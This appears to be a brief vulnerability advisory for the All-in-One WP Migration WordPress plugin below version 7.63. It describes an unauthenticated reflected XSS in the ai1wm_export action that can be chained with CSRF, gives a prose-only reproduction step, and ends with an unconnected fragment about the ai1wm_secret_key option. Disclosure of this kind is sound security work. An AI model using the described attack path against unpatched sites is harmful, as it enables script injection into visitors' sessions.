All-in-One WP Migration < 7.63 - Unauthenticated Reflected XSS + CSRF

Description

The plugin uses the wrong content type for, and does not properly escape the response from the ai1wm_export action, allowing an attacker to craft a request that when submitted by any visitor will inject arbitrary html or javascript into the response that will be executed in the victims session.

Proof of Concept

Attacker

To reproduce the flaw, we can export all the website content by the plugin and insert an invalid name in the output file name.

ATTACKER VIDEO

By validating the vulnerability, it is possible to combine the attack with a CSRF, which will force the victim's browser to send a request with the payload.

    It is stored in the site option `ai1wm_secret_key`, but is
    static for the lifetime of the site.
